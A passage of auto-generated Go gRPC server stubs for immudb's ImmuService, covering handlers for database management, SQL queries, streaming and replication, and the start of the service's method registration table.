in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/CreateDatabaseV2\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).CreateDatabaseV2(ctx, req.(*CreateDatabaseRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_LoadDatabase_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(LoadDatabaseRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).LoadDatabase(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/LoadDatabase\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).LoadDatabase(ctx, req.(*LoadDatabaseRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_UnloadDatabase_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(UnloadDatabaseRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).UnloadDatabase(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/UnloadDatabase\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).UnloadDatabase(ctx, req.(*UnloadDatabaseRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_DeleteDatabase_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(DeleteDatabaseRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).DeleteDatabase(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/DeleteDatabase\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).DeleteDatabase(ctx, req.(*DeleteDatabaseRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_DatabaseList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(emptypb.Empty)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).DatabaseList(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/DatabaseList\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).DatabaseList(ctx, req.(*emptypb.Empty))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_DatabaseListV2_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(DatabaseListRequestV2)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).DatabaseListV2(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/DatabaseListV2\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).DatabaseListV2(ctx, req.(*DatabaseListRequestV2))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_UseDatabase_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(Database)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).UseDatabase(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/UseDatabase\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).UseDatabase(ctx, req.(*Database))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_UpdateDatabase_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(DatabaseSettings)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).UpdateDatabase(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/UpdateDatabase\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).UpdateDatabase(ctx, req.(*DatabaseSettings))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_UpdateDatabaseV2_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(UpdateDatabaseRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).UpdateDatabaseV2(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/UpdateDatabaseV2\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).UpdateDatabaseV2(ctx, req.(*UpdateDatabaseRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_GetDatabaseSettings_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(emptypb.Empty)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).GetDatabaseSettings(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/GetDatabaseSettings\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).GetDatabaseSettings(ctx, req.(*emptypb.Empty))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_GetDatabaseSettingsV2_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(DatabaseSettingsRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).GetDatabaseSettingsV2(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/GetDatabaseSettingsV2\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).GetDatabaseSettingsV2(ctx, req.(*DatabaseSettingsRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_FlushIndex_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(FlushIndexRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).FlushIndex(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/FlushIndex\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).FlushIndex(ctx, req.(*FlushIndexRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_CompactIndex_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(emptypb.Empty)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).CompactIndex(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/CompactIndex\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).CompactIndex(ctx, req.(*emptypb.Empty))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_StreamGet_Handler(srv interface{}, stream grpc.ServerStream) error {\n\tm := new(KeyRequest)\n\tif err := stream.RecvMsg(m); err != nil {\n\t\treturn err\n\t}\n\treturn srv.(ImmuServiceServer).StreamGet(m, &immuServiceStreamGetServer{stream})\n}\n\ntype ImmuService_StreamGetServer interface {\n\tSend(*Chunk) error\n\tgrpc.ServerStream\n}\n\ntype immuServiceStreamGetServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (x *immuServiceStreamGetServer) Send(m *Chunk) error {\n\treturn x.ServerStream.SendMsg(m)\n}\n\nfunc _ImmuService_StreamSet_Handler(srv interface{}, stream grpc.ServerStream) error {\n\treturn srv.(ImmuServiceServer).StreamSet(&immuServiceStreamSetServer{stream})\n}\n\ntype ImmuService_StreamSetServer interface {\n\tSendAndClose(*TxHeader) error\n\tRecv() (*Chunk, error)\n\tgrpc.ServerStream\n}\n\ntype immuServiceStreamSetServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (x *immuServiceStreamSetServer) SendAndClose(m *TxHeader) error {\n\treturn x.ServerStream.SendMsg(m)\n}\n\nfunc (x *immuServiceStreamSetServer) Recv() (*Chunk, error) {\n\tm := new(Chunk)\n\tif err := x.ServerStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc _ImmuService_StreamVerifiableGet_Handler(srv interface{}, stream grpc.ServerStream) error {\n\tm := new(VerifiableGetRequest)\n\tif err := stream.RecvMsg(m); err != nil {\n\t\treturn err\n\t}\n\treturn srv.(ImmuServiceServer).StreamVerifiableGet(m, &immuServiceStreamVerifiableGetServer{stream})\n}\n\ntype ImmuService_StreamVerifiableGetServer interface {\n\tSend(*Chunk) error\n\tgrpc.ServerStream\n}\n\ntype immuServiceStreamVerifiableGetServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (x *immuServiceStreamVerifiableGetServer) Send(m *Chunk) error {\n\treturn x.ServerStream.SendMsg(m)\n}\n\nfunc _ImmuService_StreamVerifiableSet_Handler(srv interface{}, stream grpc.ServerStream) error {\n\treturn srv.(ImmuServiceServer).StreamVerifiableSet(&immuServiceStreamVerifiableSetServer{stream})\n}\n\ntype ImmuService_StreamVerifiableSetServer interface {\n\tSendAndClose(*VerifiableTx) error\n\tRecv() (*Chunk, error)\n\tgrpc.ServerStream\n}\n\ntype immuServiceStreamVerifiableSetServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (x *immuServiceStreamVerifiableSetServer) SendAndClose(m *VerifiableTx) error {\n\treturn x.ServerStream.SendMsg(m)\n}\n\nfunc (x *immuServiceStreamVerifiableSetServer) Recv() (*Chunk, error) {\n\tm := new(Chunk)\n\tif err := x.ServerStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc _ImmuService_StreamScan_Handler(srv interface{}, stream grpc.ServerStream) error {\n\tm := new(ScanRequest)\n\tif err := stream.RecvMsg(m); err != nil {\n\t\treturn err\n\t}\n\treturn srv.(ImmuServiceServer).StreamScan(m, &immuServiceStreamScanServer{stream})\n}\n\ntype ImmuService_StreamScanServer interface {\n\tSend(*Chunk) error\n\tgrpc.ServerStream\n}\n\ntype immuServiceStreamScanServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (x *immuServiceStreamScanServer) Send(m *Chunk) error {\n\treturn x.ServerStream.SendMsg(m)\n}\n\nfunc _ImmuService_StreamZScan_Handler(srv interface{}, stream grpc.ServerStream) error {\n\tm := new(ZScanRequest)\n\tif err := stream.RecvMsg(m); err != nil {\n\t\treturn err\n\t}\n\treturn srv.(ImmuServiceServer).StreamZScan(m, &immuServiceStreamZScanServer{stream})\n}\n\ntype ImmuService_StreamZScanServer interface {\n\tSend(*Chunk) error\n\tgrpc.ServerStream\n}\n\ntype immuServiceStreamZScanServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (x *immuServiceStreamZScanServer) Send(m *Chunk) error {\n\treturn x.ServerStream.SendMsg(m)\n}\n\nfunc _ImmuService_StreamHistory_Handler(srv interface{}, stream grpc.ServerStream) error {\n\tm := new(HistoryRequest)\n\tif err := stream.RecvMsg(m); err != nil {\n\t\treturn err\n\t}\n\treturn srv.(ImmuServiceServer).StreamHistory(m, &immuServiceStreamHistoryServer{stream})\n}\n\ntype ImmuService_StreamHistoryServer interface {\n\tSend(*Chunk) error\n\tgrpc.ServerStream\n}\n\ntype immuServiceStreamHistoryServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (x *immuServiceStreamHistoryServer) Send(m *Chunk) error {\n\treturn x.ServerStream.SendMsg(m)\n}\n\nfunc _ImmuService_StreamExecAll_Handler(srv interface{}, stream grpc.ServerStream) error {\n\treturn srv.(ImmuServiceServer).StreamExecAll(&immuServiceStreamExecAllServer{stream})\n}\n\ntype ImmuService_StreamExecAllServer interface {\n\tSendAndClose(*TxHeader) error\n\tRecv() (*Chunk, error)\n\tgrpc.ServerStream\n}\n\ntype immuServiceStreamExecAllServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (x *immuServiceStreamExecAllServer) SendAndClose(m *TxHeader) error {\n\treturn x.ServerStream.SendMsg(m)\n}\n\nfunc (x *immuServiceStreamExecAllServer) Recv() (*Chunk, error) {\n\tm := new(Chunk)\n\tif err := x.ServerStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc _ImmuService_ExportTx_Handler(srv interface{}, stream grpc.ServerStream) error {\n\tm := new(ExportTxRequest)\n\tif err := stream.RecvMsg(m); err != nil {\n\t\treturn err\n\t}\n\treturn srv.(ImmuServiceServer).ExportTx(m, &immuServiceExportTxServer{stream})\n}\n\ntype ImmuService_ExportTxServer interface {\n\tSend(*Chunk) error\n\tgrpc.ServerStream\n}\n\ntype immuServiceExportTxServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (x *immuServiceExportTxServer) Send(m *Chunk) error {\n\treturn x.ServerStream.SendMsg(m)\n}\n\nfunc _ImmuService_ReplicateTx_Handler(srv interface{}, stream grpc.ServerStream) error {\n\treturn srv.(ImmuServiceServer).ReplicateTx(&immuServiceReplicateTxServer{stream})\n}\n\ntype ImmuService_ReplicateTxServer interface {\n\tSendAndClose(*TxHeader) error\n\tRecv() (*Chunk, error)\n\tgrpc.ServerStream\n}\n\ntype immuServiceReplicateTxServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (x *immuServiceReplicateTxServer) SendAndClose(m *TxHeader) error {\n\treturn x.ServerStream.SendMsg(m)\n}\n\nfunc (x *immuServiceReplicateTxServer) Recv() (*Chunk, error) {\n\tm := new(Chunk)\n\tif err := x.ServerStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc _ImmuService_StreamExportTx_Handler(srv interface{}, stream grpc.ServerStream) error {\n\treturn srv.(ImmuServiceServer).StreamExportTx(&immuServiceStreamExportTxServer{stream})\n}\n\ntype ImmuService_StreamExportTxServer interface {\n\tSend(*Chunk) error\n\tRecv() (*ExportTxRequest, error)\n\tgrpc.ServerStream\n}\n\ntype immuServiceStreamExportTxServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (x *immuServiceStreamExportTxServer) Send(m *Chunk) error {\n\treturn x.ServerStream.SendMsg(m)\n}\n\nfunc (x *immuServiceStreamExportTxServer) Recv() (*ExportTxRequest, error) {\n\tm := new(ExportTxRequest)\n\tif err := x.ServerStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc _ImmuService_SQLExec_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(SQLExecRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).SQLExec(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/SQLExec\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).SQLExec(ctx, req.(*SQLExecRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_UnarySQLQuery_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(SQLQueryRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).UnarySQLQuery(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/UnarySQLQuery\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).UnarySQLQuery(ctx, req.(*SQLQueryRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_SQLQuery_Handler(srv interface{}, stream grpc.ServerStream) error {\n\tm := new(SQLQueryRequest)\n\tif err := stream.RecvMsg(m); err != nil {\n\t\treturn err\n\t}\n\treturn srv.(ImmuServiceServer).SQLQuery(m, &immuServiceSQLQueryServer{stream})\n}\n\ntype ImmuService_SQLQueryServer interface {\n\tSend(*SQLQueryResult) error\n\tgrpc.ServerStream\n}\n\ntype immuServiceSQLQueryServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (x *immuServiceSQLQueryServer) Send(m *SQLQueryResult) error {\n\treturn x.ServerStream.SendMsg(m)\n}\n\nfunc _ImmuService_ListTables_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(emptypb.Empty)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).ListTables(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/ListTables\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).ListTables(ctx, req.(*emptypb.Empty))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_DescribeTable_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(Table)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).DescribeTable(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/DescribeTable\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).DescribeTable(ctx, req.(*Table))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_VerifiableSQLGet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(VerifiableSQLGetRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).VerifiableSQLGet(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/VerifiableSQLGet\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).VerifiableSQLGet(ctx, req.(*VerifiableSQLGetRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_TruncateDatabase_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(TruncateDatabaseRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).TruncateDatabase(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/TruncateDatabase\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).TruncateDatabase(ctx, req.(*TruncateDatabaseRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\n// ImmuService_ServiceDesc is the grpc.ServiceDesc for ImmuService service.\n// It's only intended for direct use with grpc.RegisterService,\n// and not to be introspected or modified (even as a copy)\nvar ImmuService_ServiceDesc = grpc.ServiceDesc{\n\tServiceName: \"immudb.schema.ImmuService\",\n\tHandlerType: (*ImmuServiceServer)(nil),\n\tMethods: []grpc.MethodDesc{\n\t\t{\n\t\t\tMethodName: \"ListUsers\",\n\t\t\tHandler:    _ImmuService_ListUsers_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"CreateUser\",\n\t\t\tHandler:    _ImmuService_CreateUser_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"ChangePassword\",\n\t\t\tHandler:    _ImmuService_ChangePassword_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"ChangePermission\",\n\t\t\tHandler:    _ImmuService_ChangePermission_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"ChangeSQLPrivileges\",\n\t\t\tHandler:    _ImmuService_ChangeSQLPrivileges_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"SetActiveUser\",\n\t\t\tHandler:    _ImmuService_SetActiveUser_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"UpdateAuthConfig\",\n\t\t\tHandler:    _ImmuService_UpdateAuthConfig_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"UpdateMTLSConfig\",\n\t\t\tHandler:    _ImmuService_UpdateMTLSConfig_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"OpenSession\",\n\t\t\tHandler:    _ImmuService_OpenSession_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"CloseSession\",\n\t\t\tHandler:    _ImmuService_CloseSession_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"KeepAlive\",\n\t\t\tHandler:    _ImmuService_KeepAlive_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"NewTx\",\n\t\t\tHandler:    _ImmuService_NewTx_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"Commit\",\n\t\t\tHandler:    _ImmuService_Commit_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"Rollback\",\n\t\t\tHandler:    _ImmuService_Rollback_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"TxSQLExec\",\n\t\t\tHandler:    _ImmuService_TxSQLExec_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"Login\",\n\t\t\tHandler:    _ImmuService_Login_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"Logout\",\n\t\t\tHandler:    _ImmuService_Logout_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"Set\",\n\t\t\tHandler:    _ImmuService_Set_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"VerifiableSet\",\n\t\t\tHandler:    _ImmuService_VerifiableSet_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"Get\",\n\t\t\tHandler:    _ImmuService_Get_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"VerifiableGet\",\n\t\t\tHandler:    _ImmuService_VerifiableGet_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"Delete\",\n\t\t\tHandler:    _ImmuService_Delete_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"GetAll\",\n\t\t\tHandler:    _ImmuService_GetAll_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"ExecAll\",\n\t\t\tHandler:    _ImmuService_ExecAll_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"Scan\",\n\t\t\tHandler:    _ImmuService_Scan_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"Count\",\n\t\t\tHandler:    _ImmuService_Count_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"CountAll\",\n\t\t\tHandler:    _ImmuService_CountAll_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"TxById\",\n\t\t\tHandler:    _ImmuService_TxById_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"VerifiableTxById\",\n\t\t\tHandler:    _ImmuService_VerifiableTxById_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"TxScan\",\n\t\t\tHandler:    _ImmuService_TxScan_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"History\",\n\t\t\tHandler:    _ImmuService_History_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"ServerInfo\",\n\t\t\tHandler:    _ImmuService_ServerInfo_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"Health\",\n\t\t\tHandler:    _ImmuService_Health_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"DatabaseHealth\",\n\t\t\tHandler:    _ImmuService_DatabaseHealth_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"CurrentState\",\n\t\t\tHandler:    _ImmuService_CurrentState_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"SetReference\",\n\t\t\tHandler:    _ImmuService_SetReference_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"VerifiableSetReference\",\n\t\t\tHandler:    _ImmuService_VerifiableSetReference_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"ZAdd\",\n\t\t\tHandler:    _ImmuService_ZAdd_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"VerifiableZAdd\",\n\t\t\tHandler:    _ImmuService_VerifiableZAdd_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"ZScan\",\n\t\t\tHandler:    _ImmuService_ZScan_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"CreateDatabase\",\n\t\t\tHandler:    _ImmuService_CreateDatabase_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"CreateDatabaseWith\",\n\t\t\tHandler:    _ImmuService_CreateDatabaseWith_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"CreateDatabaseV2\",\n\t\t\tHandler:    _ImmuService_CreateDatabaseV2_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"LoadDatabase\",\n\t\t\tHandler:    _ImmuService_LoadDatabase_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"UnloadDatabase\",\n\t\t\tHandler:    _ImmuService_UnloadDatabase_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"DeleteDatabase\",\n\t\t\tHandler:    _ImmuService_DeleteDatabase_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"DatabaseList\",\n\t\t\tHandler:    _ImmuService_DatabaseList_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"DatabaseListV2\",\n\t\t\tHandler:    _ImmuService_DatabaseListV2_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"UseDatabase\",\n\t\t\tHandler:    _ImmuService_UseDatabase_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"UpdateDatabase\",\n\t\t\tHandler:    _ImmuService_UpdateDatabase_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"UpdateDatabaseV2\",\n\t\t\tHandler:    _ImmuService_UpdateDatabaseV2_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"GetDatabaseSettings\",\n\t\t\tHandler:    _ImmuService_GetDatabaseSettings_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"GetDatabaseSettingsV2\",\n\t\t\tHandler:    _ImmuService_GetDatabaseSettingsV2_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"FlushIndex\",\n\t\t\tHandler:    